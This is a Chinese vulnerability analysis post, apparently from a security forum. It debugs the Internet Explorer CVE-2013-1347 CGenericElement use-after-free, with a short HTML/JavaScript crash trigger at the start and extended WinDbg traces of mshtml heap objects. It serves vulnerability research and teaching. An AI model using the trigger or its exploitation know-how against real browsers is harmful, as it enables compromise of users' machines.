超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析
看雪论坛作者ID:LarryS
1
前言
2
调试代码
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
f0=document.createElement('span');
document.body.appendChild(f0);
f1=document.createElement('span');
document.body.appendChild(f1);
f2=document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
f1.appendChild(document.createElement('table')); //has to be a table
try{
f0.offsetParent=null; //required
}catch(e){ }
f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required
CollectGarbage();
</script>
</body>
</html>
3
调试分析
3.1 环境
3.2 定位漏洞对象
0:013> g
ModLoad: 73090000 73142000 C:\Windows\SysWOW64\jscript.dll
(5a0.3d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=72a4a570 ebx=04ccc3a8 ecx=0073c538 edx=4d3b1874 esi=02f5ead0 edi=00000000
eip=4d3b1874 esp=02f5eaa0 ebp=02f5eabc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
4d3b1874 ?? ???
0:005> !address 4d3b1874
Failed to map Heaps (error 80004005)
Usage: Free
Base Address: 07515000
End Address: 5fff0000
Region Size: 58adb000
Type: 00000000
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
02f5ea9c 72adc407 72b05961 02f5edec 04ccc3a8 0x4d3b1874
02f5eaa0 72b05961 02f5edec 04ccc3a8 00000000 mshtml!CElement::Doc+0x7
02f5eabc 72b0586d 04ccc3a8 02f5edec 04ccc3a8 mshtml!CTreeNode::ComputeFormats+0xba
02f5ed68 72b0a12d 04ccc3a8 04ccc3a8 02f5ed88 mshtml!CTreeNode::ComputeFormatsHelper+0x44
02f5ed78 72b0a0ed 04ccc3a8 04ccc3a8 02f5ed98 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
02f5ed88 72b0a0d4 04ccc3a8 04ccc3a8 02f5eda4 mshtml!CTreeNode::GetFancyFormatHelper+0xf
02f5ed98 7298b9c4 04ccc3a8 02f5edb4 7298ba2c mshtml!CTreeNode::GetFancyFormat+0x35
02f5eda4 7298ba2c 00000000 04ccc3a8 02f5edc4 mshtml!ISpanQualifier::GetFancyFormat+0x5a
02f5edb4 729fc009 00000000 007a58a0 02f5edfc mshtml!SLayoutRun::HasInlineMbp+0x10
02f5edc4 72a0b4e5 00000000 00000000 007a58a0 mshtml!SRunPointer::HasInlineMbp+0x56
02f5edfc 72a0b575 02f5ee1b 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf2
02f5ee34 72bd44f0 02f5ee9f 02f5eeb3 007e03b0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
......
0:005> ub 72adc407
mshtml!CElement::SecurityContext+0x29:
72adc3fb 90 nop
72adc3fc 90 nop
72adc3fd 90 nop
72adc3fe 90 nop
72adc3ff 90 nop
mshtml!CElement::Doc:
72adc400 8b01 mov eax,dword ptr [ecx]
72adc402 8b5070 mov edx,dword ptr [eax+70h]
72adc405 ffd2 call edx
C:\Users\test>"C:\Program Files (x86)\Debugging Tools for Windows (x86)\gflags.exe" -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
hpa - Enable page heap
0:013> g
ModLoad: 71c90000 71d42000 C:\Windows\SysWOW64\jscript.dll
(26c.904): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723d5100 ebx=0d340fb0 ecx=0d222fc8 edx=00000000 esi=0862eb80 edi=00000000
eip=7205c400 esp=0862eb54 ebp=0862eb6c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CElement::Doc:
7205c400 8b01 mov eax,dword ptr [ecx] ds:002b:0d222fc8=????????
0:005> !heap -p -a ecx
address 0d222fc8 found in
_DPH_HEAP_ROOT @ 4d1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
be01958: d222000 2000
746790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77140acc ntdll!RtlDebugFreeHeap+0x0000002f
770fa967 ntdll!RtlpFreeHeap+0x0000005d
770a32f2 ntdll!RtlFreeHeap+0x00000142
74eb14d1 kernel32!HeapFree+0x00000014
71eeb9a8 mshtml!CGenericElement::`scalar deleting destructor'+0x0000003d
72067dd0 mshtml!CBase::SubRelease+0x00000022
7205c482 mshtml!CElement::PrivateRelease+0x0000002a
7205b034 mshtml!PlainRelease+0x00000025
720b669d mshtml!PlainTrackerRelease+0x00000014
71c9a6f1 jscript!VAR::Clear+0x0000005f
71cb6d66 jscript!GcContext::Reclaim+0x000000b6
71cb4309 jscript!GcContext::CollectCore+0x00000123
71d18572 jscript!JsCollectGarbage+0x0000001d
71ca74ac jscript!NameTbl::InvokeInternal+0x00000141
......
3.3 javascript代码的简单理解
f0=document.createElement('span');
document.body.appendChild(f0);
f1=document.createElement('span');
document.body.appendChild(f1);
f2=document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
f1.appendChild(document.createElement('table')); //has to be a table
// 到此为止,上面的代码都是在创建元素,以及向DOM树中增添元素
try{
f0.offsetParent=null; //这句一定要有,且位置不能变
}catch(e){ }
f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required 以上三句的顺序可以打乱
CollectGarbage(); //最后异常发生在这之后
1、document.createElement和appendChild究竟干了些什么,是不是在堆中创建了空间?
2、设置offsetParent=null在底层上对之前创建的堆块空间有什么影响?
3、最后设置innerHTML以及创建hr元素的时候又在内存中发生了什么?
4、datalist以及table和其他类型有什么区别,为什么一定非它不可?
5、(后来发现我这一点搞错了)
3.4 IE中javascript代码的调试
3.4.1 createElement的流程
0:005> x mshtml!*document*createElement*
71fa1dae mshtml!CDocument::createElement = <no type information>
72070a40 mshtml!s_methdescCDocumentcreateElement = <no type information>
71fa1e07 mshtml!CDocument::CreateElementHelper = <no type information>
CDocument::createElement → CDocument::CreateElementHelper → CMarkup::CreateElement → CreateElement
0:013> g
ModLoad: 71680000 71732000 C:\Windows\SysWOW64\jscript.dll
Breakpoint 0 hit
eax=00000000 ebx=0837f0ec ecx=0be00fc8 edx=00000017 esi=0837ebc0 edi=0be00fc8
eip=7201c9b5 esp=0837eb8c ebp=0837eba8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mshtml!CMarkup::CreateElement:
7201c9b5 8bff mov edi,edi
0:005> bp 7201ca58
0:005> g
Breakpoint 1 hit
eax=0837ebc0 ebx=00000004 ecx=0d4c4f30 edx=0bd01680 esi=08c3c630 edi=0837eb18
eip=7201ca58 esp=0837eaf0 ebp=0837eb88 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
mshtml!CMarkup::CreateElement+0x2df:
7201ca58 e85381fcff call mshtml!CreateElement (71fe4bb0)
71fe4bcc 0fb64701 movzx eax,byte ptr [edi+1]
71fe4bd0 c1e004 shl eax,4
71fe4bd3 05709a0772 add eax,offset mshtml!g_atagdesc (72079a70)
71fe4bd8 0f84b34e1500 je mshtml!CreateElement+0x2b (72139a91) [br=0]
0:005> dds 72079a70
72079a70 71eaa6d4 mshtml!`string'
72079a74 7207a510 mshtml!g_pmiTextPlain+0x4
72079a78 722a8d29 mshtml!CTextElement::CreateElement
72079a7c 00000001
72079a80 71eaa6d4 mshtml!`string'
72079a84 7207a320 mshtml!s_hpcUnknown
72079a88 71fb310e mshtml!CUnknownElement::CreateElement
72079a8c 20000001
72079a90 72065738 mshtml!g_tagascA2+0x8
72079a94 7207ab68 mshtml!g_entascsup2+0x14
72079a98 72002a0f mshtml!CAnchorElement::CreateElement
72079a9c 00000000
72079aa0 72065744 mshtml!g_tagascABBR3+0x8
72079aa4 7207a630 mshtml!g_pmiImagePlug+0xb4
72079aa8 72019f4b mshtml!CPhraseElement::CreateElement
72079aac 00000020
72079ab0 72065758 mshtml!g_tagascACRONYM4+0x8
72079ab4 7207a630 mshtml!g_pmiImagePlug+0xb4
72079ab8 72019f4b mshtml!CPhraseElement::CreateElement
72079abc 00000020
72079ac0 72065778 mshtml!g_tagascADDRESS5+0x8
72079ac4 7207ac40 mshtml!g_entascmicro+0x14
72079ac8 71ef41f7 mshtml!CBlockElement::CreateElement
72079acc 00080042
72079ad0 72065790 mshtml!g_tagascAPPLET6+0x8
72079ad4 7207af58 mshtml!g_entascEuml203+0x14
72079ad8 71f51d8b mshtml!CObjectElement::CreateElement
......
代码:
71fe4bde 8b4008 mov eax,dword ptr [eax+8]
71fe4be1 8d4d10 lea ecx,[ebp+10h]
71fe4be4 51 push ecx
71fe4be5 52 push edx
71fe4be6 57 push edi
71fe4be7 ffd0 call eax {mshtml!CSpanElement::CreateElement (71f9b07a)}
windbg输出:
0:005> p
eax=71f9b07a ebx=72058308 ecx=0837eaf8 edx=0bd01680 esi=08c3c630 edi=0837eb18
eip=71fe4be7 esp=0837eac4 ebp=0837eae8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
mshtml!CreateElement+0x41:
71fe4be7 ffd0 call eax {mshtml!CSpanElement::CreateElement (71f9b07a)}
unsigned int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3)
{
struct CElement *v3; // esi
struct CElement *v4; // eax
v3 = (struct CElement *)HeapAlloc(g_hProcessHeap, 8u, 0x28u);
if ( v3 )
{
CElement::CElement(91, a2);
*(_DWORD *)v3 = &CSpanElement::`vftable';
v4 = v3;
}
else
{
v4 = 0;
}
*a3 = v4;
return v4 != 0 ? 0 : 0x8007000E;
}
int __userpurge CElement::CElement@<eax>(int a1@<eax>, CBase *a2@<ecx>, char a3, _DWORD *a4)
{
CElement *v5; // ecx
struct CSecurityContext *v7; // [esp+0h] [ebp-Ch]
CBase::CBase(a2);
*(_DWORD *)(a1 + 36) = 0;
*(_DWORD *)a1 = &CElement::`vftable';
(*(void (__thiscall **)(_DWORD *))(*a4 + 112))(a4);
CElement::ReplaceSecurityContext(v5, v7);
a4[2] += 8;
_IncrementObjectCount();
*(_DWORD *)(a1 + 28) &= 0xFFFBFFFF;
*(_BYTE *)(a1 + 32) &= 0xFEu;
*(_BYTE *)(a1 + 24) = a3;
return a1;
}
mshtml!CDocument::createElement ->
mshtml!CDocument::CreateElementHelper ->
mshtml!CMarkup::CreateElement ->
mshtml!CreateElement -> // 具体偏移位置为0x41
mshtml!C***Element::CreateElement ->
mshtml!CElement::CElement // ret语句在偏移0x4c处
bu mshtml!CreateElement+0x41 "ln eax;g" // 0x41处调用了具体某个元素的createElement函数,并且eax中保存了该函数地址,这里可以显示元素类型
bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g" // 0x4c处执行返回语句,此时eax寄存器中保存了返回值,指向为该元素分配的空间
// 该空间大小为10*4=40=0x28字节,这里显示分配空间的地址及内容
7708000c cc int 3
0:013> bu mshtml!CreateElement+0x41 "ln eax;g"
Matched: 7108d88c mshtml!CreateElement = <no type information>
Matched: 71084bb0 mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'
mshtml!CreateElement+0x38:
71084bde 8b4008 mov eax,dword ptr [eax+8]
71084be1 8d4d10 lea ecx,[ebp+10h]
71084be4 51 push ecx
71084be5 52 push edx
71084be6 57 push edi
71084be7 ffd0 call eax
0:013> bp 71084be7 "ln eax;g"
0:013> bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
0:013> bl
0 e 71084be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g"
1 e 7108485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
3.4.2 appendChild的底层逻辑
0:005> x mshtml!*appendChild*
710420c4 mshtml!CElement::appendChild = <no type information>
712a6382 mshtml!CAttribute::appendChild = <no type information>
712a57e6 mshtml!CDOMTextNode::appendChild = <no type information>
71192bc8 mshtml!s_methdescCAttributeappendChild = <no type information>
710fe458 mshtml!s_methdescCElementappendChild = <no type information>
7104af3c mshtml!CDocument::appendChild = <no type information>
document.body.appendChild(f2);
f2.appendChild(document.createElement('datalist'));
CDocument::appendChild ->
CElement::appendChild ->
CElement::insertBefore ->
CElement::InsertBeforeHelper ->
CElement::GetDOMInsertPosition - InsertDOMNodeHelper ->
CDoc::InsertElement ->
CMarkup::InsertElementInternal ->
(CTreeNode *)HeapAlloc(g_hProcessHeap, 8u, 0x4Cu);
0:005> p
eax=0d4c4fb0 ebx=00000000 ecx=00000000 edx=00000000 esi=0864ed30 edi=0864ed24
eip=72a40ce5 esp=0864ec64 ebp=0864ed00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
mshtml!CMarkup::InsertElementInternal+0x224:
72a40ce5 ff15c4129272 call dword ptr [mshtml!_imp__HeapAlloc (729212c4)] ds:002b:729212c4={ntdll!RtlAllocateHeap (7709dec6)}
0:005> p
eax=0d008fb0 ebx=00000000 ecx=770a3b23 edx=00000000 esi=0864ed30 edi=0864ed24
eip=72a40ceb esp=0864ec70 ebp=0864ed00 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mshtml!CMarkup::InsertElementInternal+0x22a:
72a40ceb 3bc3 cmp eax,ebx
72a40cf3 8b7d0c mov edi,dword ptr [ebp+0Ch]
72a40cf6 53 push ebx
72a40cf7 ff742410 push dword ptr [esp+10h]
72a40cfb 8bc8 mov ecx,eax
72a40cfd e8cec10a00 call mshtml!CTreeNode::CTreeNode (72aeced0)
0:005> ddp eax L5
0d008fb0 0c56dfd8 72a1b0c8 mshtml!CSpanElement::`vftable'
0d008fb4 0d4c4fb0 0d5d4fd0
0d008fb8 ffff005b
0d008fbc ffffffff
0d008fc0 00000000
0:014> bu mshtml!CreateElement+0x41 "ln eax;g"
Matched: 72a6d88c mshtml!CreateElement = <no type information>
Matched: 72a64bb0 mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'
0:014> bp 72a64bb0+0x37 "ln eax;g"
0:014> bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
0:014> bu mshtml!CMarkup::InsertElementInternal+0x1de".echo '=== CTreeNode ===';ddp eax L13;g"
0:014> bl
0 e 72a64be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g"
1 e 72a6485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
2 e 72a40d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '=== CTreeNode ===';ddp eax L13;g"
3.4.3 offsetParent的影响以及CTreeNode的结构
0:005> x mshtml!*offsetParent*
72d078ec mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent = <no type information>
72d078d3 mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent = <no type information>
72d07d13 mshtml!CDisplayBox::IsOffsetParent = <no type information>
729318ba mshtml!CDisplayBox::FindOffsetParent = <no type information>
72d079b0 mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft = <no type information>
72cfebda mshtml!CLayoutBlock::IsOffsetParent = <no type information>
72d07980 mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox = <no type information>
72d07911 mshtml!CDisplayRequestGetOffsetParent::OffsetParent = <no type information>
729520e1 mshtml!CElement::GetOffsetParentHelper = <no type information>
72d084a0 mshtml!CTextDisplayBox::IsOffsetParent = <no type information>
72adde34 mshtml!s_propdescCElementoffsetParent = <no type information>
72d07998 mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox = <no type information>
729521d2 mshtml!CElement::get_offsetParent = <no type information>
7293186c mshtml!CDisplayBox::TransformRectToOffsetParent = <no type information>
729520e1 mshtml!CElement::GetOffsetParentHelper = <no type information>
729521d2 mshtml!CElement::get_offsetParent = <no type information>
0:013> bu mshtml!CreateElement+0x41 "ln eax;g"
Matched: 71fed88c mshtml!CreateElement = <no type information>
Matched: 71fe4bb0 mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'
0:013> bp 71fe4bb0+0x37 "ln eax;g" // 这里显示创建的元素类型
0:013> bu mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g" // 这里显示创建元素时分配空间的地址
0:013> bu mshtml!CMarkup::InsertElementInternal+0x1de".echo '= CTreeNode =';r eax;g" // 这里显示创建DOM节点时分配空间的地址
// 通过以上断点,可以获得和每个元素相关的堆块空间的地址
0:013> bu CElement::GetOffsetParentHelper // 程序会断在调用这个函数的时候
0:013> bl
0 e 71fe4be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g"
1 e 71fe485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"
2 e 71fc0d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g"
3 e 71ed20e1 0001 (0001) 0:**** mshtml!CElement::GetOffsetParentHelper
1、CTreeNode(4字节):同一元素CElement地址;
2、CTreeNode+0x4(4字节):父元素CTreeNoe地址;
3、CTreeNode+0x8(2字节):同类型元素相同;
4、CTreeNode+0xC(4字节):根据源码,是SHORT _iCF和SHORT _iFF这两个值,分别表示Char Format和Fancy Format,虽然不知道是什么意思。
5、CTreeNode+0x10, CTreeNode+0x28(24字节):CTreePos结构,里面保存了指向父元素或其他相邻元素的CTreePos结构的指针;
6、CTreeNode+0x44(4字节):CTextBlock结构指针。源码和数值关系都没看出来,最终在windbg中得到了这个值的涵义:0cec1ff4 0d186fa0 71fc6cc8 mshtml!CTextBlock::vftable'`检查了几个不同元素,得到的都是同一结构的指针;
7、CElement+0x14(4字节):同一元素CTreeNode地址;
8、CElement+0x18(2字节):同类型元素相同;
3.4.4 offsetParent与CTextBlock
f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required
CollectGarbage();
0:005> x mshtml!*innerHTML*
7205d2ec mshtml!s_propdescCElementinnerHTML = <no type information>
71fb66c7 mshtml!CElement::get_innerHTML = <no type information>
71fa984c mshtml!CElement::put_innerHTML = <no type information>
0:005> bl
0 e 71fe4be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g"
1 e 71fe485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"
2 e 71fc0d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g"
3 e 71ed20e1 0001 (0001) 0:**** mshtml!CElement::GetOffsetParentHelper
4 e 71fa984c 0001 (0001) 0:**** mshtml!CElement::put_innerHTML
1、在设置完offsetParent之后,TreeNode中偏移为0x8和0xC两个位置的部分字节数据出现了变化,但是清空f2的innerHTML之后又改了回来。
2、除了上一点,在CTreeNode+0x44的位置,数值也发生了明显的变化。
3、在清空f2的innerHTML之后,CGenericElement的TreeNode中保存的父元素TreeNode地址就清零了;同时CElement中保存的同一元素TreeNode地址也清零了,但是TreeNode中保存的同一元素CElement地址仍旧存在。
0:005> ddp 0cec1fb0+0x44 l1
0cec1ff4 0c53ffa0 71fc6cc8 mshtml!CTextBlock::`vftable'
0:005> ba r4 0cec1fb0+44
0:005> g
Breakpoint 4 hit
eax=00000000 ebx=0849e6fc ecx=00000000 edx=00000000 esi=0cec1fb0 edi=0cef7fa0
eip=720c0553 esp=0849cfd4 ebp=0849cfe8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mshtml!CTreeNode::SetLayoutBlock+0x3:
720c0553 3bcf cmp ecx,edi
0:005> kb
ChildEBP RetAddr Args to Child
0849cfd0 71f11243 ffffffff ffffffff 00000002 mshtml!CTreeNode::SetLayoutBlock+0x3
0849cfe8 71f8c4f7 0cef7fa0 00000002 0849e6f4 mshtml!CTextBlock::BuildSpanBeginRun+0x4a
0849e704 71f8b667 0cef7fa0 0d25cf30 0d140fd8 mshtml!CTextBlock::BuildTextBlock+0xaeb
0849e748 71f68f0a 0d25cf30 0d140fd8 0d29afc8 mshtml!CLayoutBlock::BuildBlock+0x1ec
0849e7c8 71f68c83 0d29afc8 0d25cf30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e800 71f68f0a 0d25cf30 0cf00fd8 0c186fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e880 71f68c83 0c186fc8 0d25cf30 0cf00fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e8b8 71f68f0a 0d25cf30 0cbddfd8 0c049fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e938 71f68c83 0c049fc8 0d25cf30 0cbddfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e970 71f69af4 0d25cf30 00000000 00000000 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849ea34 71f6a4f5 0125cf30 0c16afa8 0849ea5b mshtml!CCssDocumentLayout::GetPage+0x22a
0849eba4 7208cc48 0849ed68 0849ed00 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0849ecdc 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0849edd8 71fcaa21 00100000 0849ee30 0cee8fd8 mshtml!CLayout::DoLayout+0x11d
0849edec 72067515 0849ee30 0849ee30 7208c20c mshtml!CCssPageLayout::Notify+0x140
0849edf8 7208c20c 00000000 0cf00fb0 00000000 mshtml!NotifyElement+0x41
0849ee0c 7208c108 0849ee30 0cf00fb0 00000000 mshtml!NotifyTreeNode+0x63
0849ee64 7206730e 0849eef8 0bd7f680 0849eef8 mshtml!NotifyAncestors+0x1b7
0849eebc 7206727c 0c6e0f30 00000000 0bd7f744 mshtml!CMarkup::SendNotification+0x92
0849eee4 7208c06c 0849eef8 0bd7f870 ffffffff mshtml!CMarkup::Notify+0xd6
0849ef2c 720f7e44 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a
0849ef54 72119b0d 0bd5dfd8 00000001 0849f030 mshtml!CElement::EnsureRecalcNotify+0x15f
0849ef94 71ed21fc 00000000 00001200 723d8ba0 mshtml!CElement::GetOffsetParentHelper+0x60
0849efa8 720dde50 0bd5dfd8 0849f030 00000000 mshtml!CElement::get_offsetParent+0x30
...
// CTreeNode::SetLayoutBlock
mov ecx, [esi+44h] ; 获取CTreeNode中保存的CTextBlock地址
cmp ecx, edi
jnz loc_71FC6FAB
...
test ecx, ecx
jz short loc_71FC6FB8 ; 如果没有保存任何地址
...
test edi, edi
jz loc_720C055B
mov eax, edi
mov [esi+44h], edi ; 把edi作为CTextBlock的值保存下来
call ?CLayoutBlock_AddRef@@YGXPAVCLayoutBlock@@@Z ; CLayoutBlock_AddRef(CLayoutBlock *) ; 这里应该是一个计数器,里面增加了1
0:005> ddp edi
0cef7fa0 71fc6cc8 71fcad5d mshtml!CTextBlock::`vector deleting destructor'
0cef7fa4 00000004 // 这里是一个计数器
0cef7fa8 0005e497
0cef7fac 0bd1afc0 00000051 // f2的CTreePos的地址
0cef7fb0 00000000
0cef7fb4 0d29afc8 71fca570 mshtml!CBlockContainerBlock::`vftable' // 所以这是一个双向链表?
0cef7fb8 00000000
0cef7fbc 0c53ffb0 71f5fa7c mshtml!CTableContainerBlock::`vftable' // 这里分别指向前向和后向?
0cef7fc0 00000000
0cef7fc4 00000000
0cef7fc8 ffffffff
0cef7fcc ffffffff
0cef7fd0 0c682f10 03000100
0cef7fd4 00000000
0cef7fd8 00000000
0cef7fdc 00000000
0cef7fe0 00000000
0cef7fe4 0d140fb0 0d150fd0 // 很眼熟,看一下前面的图片,这个是CBodyElement的CTreeNode的地址
0cef7fe8 0000ffff
0cef7fec 71ea9fd0 7206519d mshtml!CFlowLayout::OnTextChange
0cef7ff0 00000004
0cef7ff4 00000004
0cef7ff8 0cef9fc0 00000805 // 看起来也是一个地址
0cef7ffc d0d0d0d0
0:005> ddp 0cef9fc0
0cef9fc0 00000805
0cef9fc4 00000001
0cef9fc8 0bd1afc0 00000051 // f2的CTreePos的地址
0cef9fcc 0bd1afb0 0d2f7fd8 // f2的CTreeNode的地址
0cef9fd0 c0c0c0c0
0cef9fd4 c0c0c0c0
...
0:005> !heap -p -a 0cec1fb0
address 0cec1fb0 found in
_DPH_HEAP_ROOT @ 331000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
ce12514: cec1fb0 4c - cec1000 2000
74618e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
771402fe ntdll!RtlDebugAllocateHeap+0x00000030
770fac4b ntdll!RtlpAllocateHeap+0x000000c4
770a3b4e ntdll!RtlAllocateHeap+0x0000023a
71fc0ceb mshtml!CMarkup::InsertElementInternal+0x0000022a
71fa1c01 mshtml!CDoc::InsertElement+0x0000008a
71fa1b36 mshtml!InsertDOMNodeHelper+0x000000c2
71fa2222 mshtml!CElement::InsertBeforeHelper+0x000000d1
71fa2148 mshtml!CElement::insertBefore+0x0000003c
71fa20fe mshtml!CElement::appendChild+0x0000003a
...
0:005> !heap -p -a 0ce20fc8
address 0ce20fc8 found in
_DPH_HEAP_ROOT @ 331000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
ce115b0: ce20fc8 38 - ce20000 2000
mshtml!CGenericElement::`vftable'
74618e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
771402fe ntdll!RtlDebugAllocateHeap+0x00000030
770fac4b ntdll!RtlpAllocateHeap+0x000000c4
770a3b4e ntdll!RtlAllocateHeap+0x0000023a
71ecc24c mshtml!CGenericElement::CreateElement+0x00000018
71fe4be9 mshtml!CreateElement+0x00000043
7201ca5d mshtml!CMarkup::CreateElement+0x000002e4
71fa1e56 mshtml!CDocument::CreateElementHelper+0x00000052
71fa1dcf mshtml!CDocument::createElement+0x00000021
...
0:005> g
(a8c.4a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723d5100 ebx=0cec1fb0 ecx=0ce20fc8 edx=00000000 esi=0849ebc8 edi=00000000
eip=7205c400 esp=0849eb9c ebp=0849ebb4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CElement::Doc:
7205c400 8b01 mov eax,dword ptr [ecx] ds:002b:0ce20fc8=????????
0:005> kb
ChildEBP RetAddr Args to Child
0849eb98 72085961 0849eee4 0cec1fb0 00000000 mshtml!CElement::Doc
0849ebb4 7208586d 0cec1fb0 0849eee4 0cec1fb0 mshtml!CTreeNode::ComputeFormats+0xba
0849ee60 7208a12d 0cec1fb0 0cec1fb0 0849ee80 mshtml!CTreeNode::ComputeFormatsHelper+0x44
0849ee70 7208a0ed 0cec1fb0 0cec1fb0 0849ee90 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
0849ee80 7208a0d4 0cec1fb0 0cec1fb0 0849ee9c mshtml!CTreeNode::GetFancyFormatHelper+0xf
0849ee90 71f0b9c4 0cec1fb0 0849eeac 71f0ba2c mshtml!CTreeNode::GetFancyFormat+0x35
0849ee9c 71f0ba2c 00000000 0cec1fb0 0849eebc mshtml!ISpanQualifier::GetFancyFormat+0x5a
0849eeac 71f7c009 00000000 0d208fa0 0849eef4 mshtml!SLayoutRun::HasInlineMbp+0x10
0849eebc 71f8b4e5 00000000 00000000 0d208fa0 mshtml!SRunPointer::HasInlineMbp+0x56
0849eef4 71f8b575 0849ef13 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf2
0849ef2c 721544f0 0849ef97 0849efab 0cb42ff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
0849ef78 71f68c83 0cb7afc8 0cb42f30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250
0849efb0 71f69af4 0cb42f30 00000000 0d262fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849f074 71f6a4f5 01b42f30 0c16afa8 0849f09b mshtml!CCssDocumentLayout::GetPage+0x22a
0849f1e4 7208cc48 0849f3a8 0849f340 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0849f31c 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0849f418 71fcaa21 00100000 0849f470 0cee8fd8 mshtml!CLayout::DoLayout+0x11d
0849f42c 72067515 0849f470 0849f470 7208c20c mshtml!CCssPageLayout::Notify+0x140
...
3.4.5 追踪Fancy Format
// SRunPointer::SpanQualifier
v1 = *(_DWORD **)(a1 + 4); // v1是由[a1+4]获得的
if ( v1 == (_DWORD *)1 || v1 == (_DWORD *)3 )
return 1;
if ( (*v1 & 7) == 1 )
return 0;
return v1[3]; // 注意就是返回的这个值
// SRunPointer::HasInlineMbp
call ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void) // 所以eax是这个函数的返回值
